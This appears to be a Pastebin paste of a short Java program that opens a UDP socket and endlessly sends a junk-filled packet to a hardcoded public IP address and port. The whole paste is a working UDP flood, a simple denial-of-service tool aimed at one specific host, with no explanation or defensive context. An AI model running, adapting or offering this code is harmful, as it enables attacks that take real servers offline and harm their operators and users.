Guest User

Untitled

a guest
Jul 23rd, 2018
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. import java.io.*;
  2. import java.net.*;
  3.  
  4. public class B {
  5. public static void main(String args[]) {
  6. try {
  7. String host = "72.251.172.216";
  8. int port = 32352;
  9.  
  10. byte[] message = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes();
  11.  
  12. // Get the internet address of the specified host
  13. InetAddress address = InetAddress.getByName(host);
  14.  
  15. // Initialize a datagram packet with data and address
  16. DatagramPacket packet = new DatagramPacket(message, message.length,
  17. address, port);
  18. DatagramSocket socket = new DatagramSocket();
  19. while(true) {
  20. // Create a datagram socket, send the packet through it, close it.
  21. socket.send(packet);
  22. }
  23. //dsocket.close();
  24. } catch (Exception e) {
  25. System.err.println(e);
  26. }
  27. }
  28. }
Add Comment
Please, Sign In to add comment